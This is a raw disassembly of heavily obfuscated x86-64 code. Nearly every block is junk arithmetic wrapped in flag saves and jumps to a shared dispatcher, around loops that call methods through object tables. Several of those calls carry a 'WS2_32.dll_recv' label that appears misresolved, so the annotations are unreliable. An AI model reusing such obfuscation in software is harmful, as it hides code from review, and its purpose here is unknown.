add eax, 0xf503bf8a
xor eax, 0xc77221b1
rol eax, 0xef
popf
pushf
not eax
add eax, 0xb9609a3a
xor eax, 0xda98c6d8
rol eax, 0x49
popf
pushf
not eax
add eax, 0x97b30fd7
xor eax, 0xa619e4b2
rol eax, 0x57
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x5d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5d8]
jmp 0x1403c1b00
call qword [rax + reloc.WS2_32.dll_recv]
push rax
pushf
mov eax, 0x9afcc8d3
pushf
not eax
add eax, 0x957bdf20
xor eax, 0x955ab85c
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xd8e6ec4f
xor eax, 0xb54af79d
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xe23f26dc
xor eax, 0xc38173aa
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xe9d78a52
xor eax, 0xa4427064
rol eax, 0xc2
popf
jmp 0x1403bece5
mov dword [rsp + 0x40], 0
jmp 0x1403c1bd7
mov eax, dword [rsp + 0x40]
jmp 0x1403c1b9e
inc eax
mov dword [rsp + 0x40], eax
push rax
pushf
mov eax, 0x1d25aba
pushf
not eax
add eax, 0xdee3cb0d
xor eax, 0x9d5bb62d
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xa1f5c80d
xor eax, 0xf055f48a
rol eax, 0x7c
popf
jmp 0x1403bece5
mov eax, dword [rsp + 0x5f0]
cmp dword [rsp + 0x40], eax
jae 0x1403c1c2a
push rax
pushf
mov eax, 0xc7a45f8
pushf
not eax
add eax, 0xdaa23ca0
xor eax, 0xc73ecc90
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xd72fadb8
xor eax, 0x9e1a981e
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xc6f73e62
xor eax, 0xd1693e84
rol eax, 0xef
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x887575a6
pushf
not eax
add eax, 0x8cd620f8
xor eax, 0xf8ccd9b0
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x93e116bf
xor eax, 0xbc0f9348
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x9e9568c9
xor eax, 0x96a2c504
rol eax, 0x56
popf
pushf
not eax
add eax, 0xc2e46106
xor eax, 0xdb369b71
rol eax, 0x9a
popf
jmp 0x1403bece5
mov eax, dword [rsp + 0x40]
cmp qword [rsp + rax*8 + 0x600], 0
je 0x1403c1ceb
push rax
pushf
mov eax, 0x7c54042d
pushf
not eax
add eax, 0xf4ebc798
xor eax, 0xeee68204
rol eax, 0x78
popf
pushf
not eax
add eax, 0x87e2591e
xor eax, 0xe6e3bbce
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x953335ac
xor eax, 0xa089c53d
rol eax, 0x96
popf
pushf
not eax
add eax, 0xb122b64b
xor eax, 0x8e58683f
rol eax, 0
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0xa0869992
pushf
not eax
add eax, 0xc48a37c4
xor eax, 0xefc03911
rol eax, 0x82
popf
pushf
not eax
add eax, 0xcbb40c4a
xor eax, 0x8d5c0359
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xc3340202
xor eax, 0xcaa436a7
rol eax, 0x80
popf
jmp 0x1403bece5
mov eax, dword [rsp + 0x40]
mov rax, qword [rsp + rax*8 + 0x600]
mov ecx, dword [rsp + 0x40]
mov rcx, qword [rsp + rcx*8 + 0x600]
mov rax, qword [rax]
jmp 0x1403c1d4d
call qword [rax + reloc.WS2_32.dll_recv]
push rax
pushf
mov eax, 0xf2a8489d
pushf
not eax
add eax, 0xd1159d45
xor eax, 0xa4d99ea4
rol eax, 0xea
popf
pushf
not eax
add eax, 0xcad7b69a
xor eax, 0xf67fa8af
rol eax, 0xcd
popf
jmp 0x1403bece5
jmp 0x1403c1b99
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x58]
mov qword [rsp + 0x270], rax
mov r9d, dword [rsp + 0x5f4]
lea r8, [rsp + 0xe00]
mov rdx, qword [rsp + 0x5e0]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c1e00
call qword [rsp + 0x270]
cmp qword [rsp + 0x5e0], 0
je 0x1403c1e6b
push rax
pushf
mov eax, 0x4135b8d5
pushf
not eax
add eax, 0xf835cf0b
xor eax, 0xc049d99c
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xfd0f553b
xor eax, 0xd961b3fa
rol eax, 0x59
popf
pushf
not eax
add eax, 0x9d034242
xor eax, 0xa83a0884
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xa596800c
xor eax, 0x8748aa5c
rol eax, 0x71
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0xe4cb2461
pushf
not eax
add eax, 0xed5eaa64
xor eax, 0xfc4386e7
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xdc6a6876
xor eax, 0x9e093165
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xc35ea20d
xor eax, 0xb9b67b5c
rol eax, 0x40
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x5e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5e0]
jmp 0x1403c1ec5
call qword [rax + reloc.WS2_32.dll_recv]
push rax
pushf
mov eax, 0x82f7017
pushf
not eax
add eax, 0xc86fde33
xor eax, 0xeb4bfd28
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xa0ed50ce
xor eax, 0xa910565e
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x941440c3
xor eax, 0xc7f61c50
rol eax, 0xb5
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x278], rax
lea r9, [rsp + 0x1e18]
mov r8d, 0x9d44bb72
pushf
not r8d
add r8d, 0xe6f2ddb6
xor r8d, 0xb6c67968
rol r8d, 0xb0
popf
pushf
not r8d
add r8d, 0xce8069a1
xor r8d, 0xc8cf7364
rol r8d, 0xd6
popf
pushf
not r8d
add r8d, 0xcf0249ab
xor r8d, 0xeb378508
rol r8d, 0xad
popf
pushf
not r8d
add r8d, 0x938b57c1
xor r8d, 0xf68dc420
rol r8d, 0x1e
popf
xor edx, edx
mov rcx, qword [rsp + 0x30]
jmp 0x1403c1f9c
call qword [rsp + 0x278]
cmp qword [rsp + 0x1e18], 0
je 0x1403c1fe1
push rax
pushf
mov eax, 0xbc06090b
pushf
not eax
add eax, 0x8493f3f6
xor eax, 0xc9960cba
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xbccd6e14
xor eax, 0x8cc8fe7b
rol eax, 0x85
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0xb5039555
pushf
not eax
add eax, 0xff2b48b5
xor eax, 0xdb81fe39
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xb68ba5ce
xor eax, 0xe31af285
rol eax, 0xcf
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x1e18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1e18]
jmp 0x1403c2028
call qword [rax + reloc.WS2_32.dll_recv]
push rax
pushf
mov eax, 0xbbc745ef
pushf
not eax
add eax, 0xdc01d874
xor eax, 0xef526e91
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xbb785774
xor eax, 0xb0c7b089
rol eax, 0xed
popf
pushf
not eax
add eax, 0xae4c0f9d
xor eax, 0xae68b814
rol eax, 0x65
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0xb8]
mov qword [rsp + 0x280], rax
mov r9d, dword [rsp + 0x5f8]
lea r8, [rsp + 0x1600]
mov rdx, qword [rsp + 0x5e8]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c20a6
call qword [rsp + 0x280]
cmp qword [rsp + 0x5e8], 0
je 0x1403c2111
push rax
pushf
mov eax, 0xeb29ef7b
pushf
not eax
add eax, 0x8aa2f24d
xor eax, 0x82fdd443
rol eax, 0x73
popf
pushf
not eax
add eax, 0xf2443c83
xor eax, 0xa1b7388a
rol eax, 0x28
popf
pushf
not eax
add eax, 0xc04398b4
xor eax, 0xf2e1edfc
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xb94f6d12
xor eax, 0xb9a24825
rol eax, 0x88
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x1cd08067
pushf
not eax
add eax, 0xb76bb644
xor eax, 0xd13dc1c8
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xfb08363a
xor eax, 0xb591f639
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xa1e236f2
xor eax, 0xca1b882a
rol eax, 0x6a
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x5e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5e8]
jmp 0x1403c216b
call qword [rax + reloc.WS2_32.dll_recv]
push rax
pushf
mov eax, 0xd53b898c
pushf
not eax
add eax, 0xbe296b9c
xor eax, 0xca3471ca
rol eax, 0x33
popf
pushf
not eax
add eax, 0xab8effe2
xor eax, 0x8f65e915
rol eax, 0xc7
popf
jmp 0x1403bece5
mov dword [rsp + 0x44], 0
jmp 0x1403c2232
mov eax, dword [rsp + 0x44]
jmp 0x1403c21e6
inc eax
mov dword [rsp + 0x44], eax
push rax
pushf
mov eax, 0xa257254b
pushf
not eax
add eax, 0xd7c84699
xor eax, 0xca4e3119
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xdce3cf1d
xor eax, 0xe7c6f1a3
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xdd7e240d
xor eax, 0xe6e07ee7
rol eax, 0xf2
popf
jmp 0x1403bece5
mov eax, dword [rsp + 0x5f4]
cmp dword [rsp + 0x44], eax
jae 0x1403c2272
push rax
pushf
mov eax, 0xa63c4bcb
pushf
not eax
add eax, 0x9b2691db
xor eax, 0x9a863a04
rol eax, 0x73
popf
pushf
not eax
add eax, 0xe0016ba8
xor eax, 0xdda5f844
rol eax, 0xe9
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x8f00ac96
pushf
not eax
add eax, 0xb5946346
xor eax, 0xf6e9f9bb
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x95e81d75
xor eax, 0xe7285557
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xc836f42c
xor eax, 0xb8c3a08a
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x88e07784
xor eax, 0x8160b891
rol eax, 0xb0
popf
jmp 0x1403bece5
mov eax, dword [rsp + 0x44]
cmp qword [rsp + rax*8 + 0xe00], 0
je 0x1403c2333
push rax
pushf
mov eax, 0xbbf4cb0
pushf
not eax
add eax, 0xac42cd3b
xor eax, 0xc813354a
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xba9aba21
xor eax, 0xb135dd71
rol eax, 0x49
popf
pushf
not eax
add eax, 0xe41c4c6a
xor eax, 0x9d3cabe8
rol eax, 0x71
popf
pushf
not eax
add eax, 0xfcdcd640
xor eax, 0xb5218f7d
rol eax, 0x96
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x5a6f7465
pushf
not eax
add eax, 0xdbf703ce
xor eax, 0xc272f027
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xf87c7da4
xor eax, 0xb63035d5
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xb2090790
xor eax, 0xca2fbfa5
rol eax, 0xa9
popf
jmp 0x1403bece5
mov eax, dword [rsp + 0x44]
mov rax, qword [rsp + rax*8 + 0xe00]
mov ecx, dword [rsp + 0x44]
mov rcx, qword [rsp + rcx*8 + 0xe00]
mov rax, qword [rax]
jmp 0x1403c2395
call qword [rax + reloc.WS2_32.dll_recv]
push rax
pushf
mov eax, 0x1281cf48
pushf
not eax
add eax, 0x9e73d36f
xor eax, 0xcf03dfaa
rol eax, 0x57
popf
pushf
not eax
add eax, 0x817558c0
xor eax, 0xbb52dff1
rol eax, 0x21
popf
jmp 0x1403bece5
jmp 0x1403c21e1
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0xc0]
mov qword [rsp + 0x288], rax
mov edx, dword [rsp + 0x1e00]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c244d
call qword [rsp + 0x288]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x98]
mov qword [rsp + 0x290], rax
mov r9d, dword [rsp + 0x1e20]
mov r8d, dword [rsp + 0x1e2c]
mov rdx, qword [rsp + 0x1e08]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c2489
call qword [rsp + 0x290]
cmp qword [rsp + 0x1e08], 0
je 0x1403c24ce
push rax
pushf
mov eax, 0x1b36b82
pushf
not eax
add eax, 0xe7d1ce4c
xor eax, 0xc8433999
rol eax, 0x88
popf
pushf
not eax
add eax, 0xf33aeada
xor eax, 0x95dfbeab
rol eax, 0x79
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x953e7399
pushf
not eax
add eax, 0x844caf61
xor eax, 0x98419b24
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x8f1bcc84
xor eax, 0xd9a21030
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xad8df7a7
xor eax, 0xd280540f
rol eax, 0x2b
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x1e08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1e08]
jmp 0x1403c2528
call qword [rax + reloc.WS2_32.dll_recv]
push rax
pushf
mov eax, 0x1748a909
pushf
not eax
add eax, 0xd8b8dbf6
xor eax, 0xd4745fde
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xaae1fed6
xor eax, 0xf619e3c4
rol eax, 0xd8
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x90]
mov qword [rsp + 0x298], rax
lea rax, [rsp + 0x1e28]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1e24]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1e10]
mov r8d, 0x98b8b1b1
pushf
not r8d
add r8d, 0x92998ed1
xor r8d, 0x84f87543
rol r8d, 0x3a
popf
pushf
not r8d
add r8d, 0xe7e96d98
xor r8d, 0xd1e532a7
rol r8d, 0x46
popf
pushf
not r8d
add r8d, 0xe86609c9
xor r8d, 0xe457f5df
rol r8d, 0xb9
popf
xor edx, edx
mov rcx, qword [rsp + 0x30]
jmp 0x1403c25f0
call qword [rsp + 0x298]
cmp qword [rsp + 0x1e10], 0
je 0x1403c265b
push rax
pushf
mov eax, 0xd6e8fb98
pushf
not eax
add eax, 0xfb11eba3
xor eax, 0x8d2d1b9c
rol eax, 0x79
popf
pushf
not eax
add eax, 0xb9ef150b
xor eax, 0xb5c71030
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x9719c3ae
xor eax, 0xc2b72471
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xe62cd5cd
xor eax, 0xbdbd96cd
rol eax, 0x93
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0xcb3ee916
pushf
not eax
add eax, 0x85e9c3d1
xor eax, 0xcd4f9eac
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xee301b3a
xor eax, 0xe17c5c0e
rol eax, 0xe6
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x1e10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1e10]
jmp 0x1403c26a2
call qword [rax + reloc.WS2_32.dll_recv]
push rax
pushf
mov eax, 0x58e2db5f
pushf
not eax
add eax, 0xd1ae19cf
xor eax, 0xd42755c8
rol eax, 0x21
popf
pushf
not eax
add eax, 0xf82e6f9e
xor eax, 0xeea0f86f
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xd220b7d0
xor eax, 0xe20fff47
rol eax, 2
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x88]
mov qword [rsp + 0x2a0], rax
mov rdx, qword [rsp + 0x1e30]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c2710
call qword [rsp + 0x2a0]
cmp qword [rsp + 0x1e30], 0
je 0x1403c2755
push rax
pushf
mov eax, 0xa85a3938
pushf
not eax
add eax, 0xe98f20a5
xor eax, 0xed787d17
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xd8e62d9e
xor eax, 0xa3eed517
rol eax, 0x42
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0xc67d7cb7
pushf
not eax
add eax, 0x8daa1901
xor eax, 0xac6f1272
rol eax, 0x68
popf
pushf
not eax
add eax, 0xd57273ea
xor eax, 0xb764387e
rol eax, 0x29
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x1e30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1e30]
jmp 0x1403c279c
call qword [rax + reloc.WS2_32.dll_recv]
push rax
pushf
mov eax, 0xdec0ade5
pushf
not eax
add eax, 0x8c1c2fa3
xor eax, 0xcc4bbcf5
rol eax, 0x44
popf
pushf
not eax
add eax, 0xbd2ee46f
xor eax, 0xac2b0648
rol eax, 0x9b
popf
jmp 0x1403bece5
add rsp, 0x1e48
pop rdi
pop rsi
ret